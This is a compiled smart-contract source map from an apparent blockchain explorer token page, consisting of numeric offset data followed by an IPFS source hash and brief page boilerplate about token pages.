11058:37;11078:4;11084:2;11088:6;11058:19;:37::i;:::-;10989:106;;;11033:5;10989:106;10979:116;;10929:178;11123:13;;11119:172;;11198:4;11180:24;;;;:9;:24;;;;;;:39;;11209:9;11180:28;:39::i;:::-;11171:4;11153:24;;;;:9;:24;;;;;;;:66;;;;11239:40;;-1:-1:-1;;;;;11239:40:0;;;-1:-1:-1;;;;;;;;;;;11239:40:0;;;11269:9;1361:25:1;;1349:2;1334:18;;1215:177;11239:40:0;;;;;;;;11119:172;-1:-1:-1;;;;;11319:15:0;;;;;;:9;:15;;;;;;:27;;11339:6;11319:19;:27::i;:::-;-1:-1:-1;;;;;11301:15:0;;;;;;:9;:15;;;;;:45;11373:40;11391:21;:6;11402:9;11391:10;:21::i;:::-;-1:-1:-1;;;;;11373:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11357:13:0;;;;;;;:9;:13;;;;;:56;;;;11429:41;;-1:-1:-1;;;;;;;;;;;11448:21:0;:6;11459:9;11448:10;:21::i;:::-;11429:41;;1361:25:1;;;1349:2;1334:18;11429:41:0;;;;;;;7955:3523;;;7886:3592;;;:::o;1499:224::-;1619:7;1655:12;1647:6;;;;1639:29;;;;-1:-1:-1;;;1639:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1679:9:0;1691:5;1695:1;1691;:5;:::i;:::-;1679:17;1499:224;-1:-1:-1;;;;;1499:224:0:o;11857:483::-;5488:6;:13;;-1:-1:-1;;;;5488:13:0;-1:-1:-1;;;5488:13:0;;;11959:16:::1;::::0;;11973:1:::1;11959:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11959:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11959:16:0::1;11935:40;;12004:4;11986;11991:1;11986:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11986:23:0::1;;;-1:-1:-1::0;;;;;11986:23:0::1;;;::::0;::::1;12030:15;;;;;;;;;-1:-1:-1::0;;;;;12030:15:0::1;-1:-1:-1::0;;;;;12030:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12020:4;12025:1;12020:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12020:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12095:15:::1;::::0;12063:62:::1;::::0;12080:4:::1;::::0;12095:15:::1;::::0;::::1;;12113:11:::0;12063:8:::1;:62::i;:::-;12136:15;::::0;:196:::1;::::0;-1:-1:-1;;;12136:196:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;12136:15:0::1;::::0;:66:::1;::::0;:196:::1;::::0;12217:11;;12243:1:::1;::::0;12259:4;;12286::::1;::::0;12306:15:::1;::::0;12136:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5524:6:0;:14;;-1:-1:-1;;;;5524:14:0;;;-1:-1:-1;;;;11857:483:0:o;12583:92::-;12640:10;;:27;;-1:-1:-1;;;;;12640:10:0;;;;:27;;;;;12660:6;;12640:10;:27;:10;:27;12660:6;12640:10;:27;;;;;;;;;;;;;;;;;;;1355:136;1413:7;1440:43;1444:1;1447;1440:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1433:50;1355:136;-1:-1:-1;;;1355:136:0:o;1168:179::-;1226:7;;1258:5;1262:1;1258;:5;:::i;:::-;1246:17;;1287:1;1282;:6;;1274:46;;;;-1:-1:-1;;;1274:46:0;;13125:2:1;1274:46:0;;;13107:21:1;13164:2;13144:18;;;13137:30;13203:29;13183:18;;;13176:57;13250:18;;1274:46:0;12923:351:1;1731:246:0;1789:7;1813:1;1818;1813:6;1809:47;;-1:-1:-1;1843:1:0;1836:8;;1809:47;1866:9;1878:5;1882:1;1878;:5;:::i;:::-;1866:17;-1:-1:-1;1911:1:0;1902:5;1906:1;1866:17;1902:5;:::i;:::-;:10;1894:56;;;;-1:-1:-1;;;1894:56:0;;13703:2:1;1894:56:0;;;13685:21:1;13742:2;13722:18;;;13715:30;13781:34;13761:18;;;13754:62;-1:-1:-1;;;13832:18:1;;;13825:31;13873:19;;1894:56:0;13501:397:1;1985:132:0;2043:7;2070:39;2074:1;2077;2070:39;;;;;;;;;;;;;;;;;:3;:39::i;11742:107::-;11799:7;11831:1;11827;:5;11826:15;;11840:1;11826:15;;;-1:-1:-1;11836:1:0;11742:107;-1:-1:-1;11742:107:0:o;11486:248::-;11641:11;;11609:4;;11626:36;;11635:4;;11641:11;;;-1:-1:-1;;;;;11641:11:0;4831:15;4773:2;4831;:15;:::i;11626:36::-;11693:2;-1:-1:-1;;;;;11678:26:0;11687:4;-1:-1:-1;;;;;11678:26:0;-1:-1:-1;;;;;;;;;;;11697:6:0;11678:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;11678:26:0;;;;;;;;-1:-1:-1;11722:4:0;11486:248;;;;;:::o;2125:223::-;2245:7;2280:12;2273:5;2265:28;;;;-1:-1:-1;;;2265:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2304:9:0;2316:5;2320:1;2316;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;10916:125;10981:9;;;11002:10;;;10999:36;;;11015:18;;:::i;11401:135::-;11440:3;11461:17;;;11458:43;;11481:18;;:::i;:::-;-1:-1:-1;11528:1:1;11517:13;;11401:135::o;11541:128::-;11608:9;;;11629:11;;;11626:37;;;11643:18;;:::i;11806:127::-;11867:10;11862:3;11858:20;11855:1;11848:31;11898:4;11895:1;11888:15;11922:4;11919:1;11912:15;11938:980;12200:4;12248:3;12237:9;12233:19;12279:6;12268:9;12261:25;12305:2;12343:6;12338:2;12327:9;12323:18;12316:34;12386:3;12381:2;12370:9;12366:18;12359:31;12410:6;12445;12439:13;12476:6;12468;12461:22;12514:3;12503:9;12499:19;12492:26;;12553:2;12545:6;12541:15;12527:29;;12574:1;12584:195;12598:6;12595:1;12592:13;12584:195;;;12663:13;;-1:-1:-1;;;;;12659:39:1;12647:52;;12754:15;;;;12719:12;;;;12695:1;12613:9;12584:195;;;-1:-1:-1;;;;;;;12835:32:1;;;;12830:2;12815:18;;12808:60;-1:-1:-1;;;12899:3:1;12884:19;12877:35;12796:3;11938:980;-1:-1:-1;;;11938:980:1:o;13279:217::-;13319:1;13345;13335:132;;13389:10;13384:3;13380:20;13377:1;13370:31;13424:4;13421:1;13414:15;13452:4;13449:1;13442:15;13335:132;-1:-1:-1;13481:9:1;;13279:217::o

Swarm Source

ipfs://048a34a57207f90e5334ef5c824b6fabf879727a9f518868389a4070cdf01bbe
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.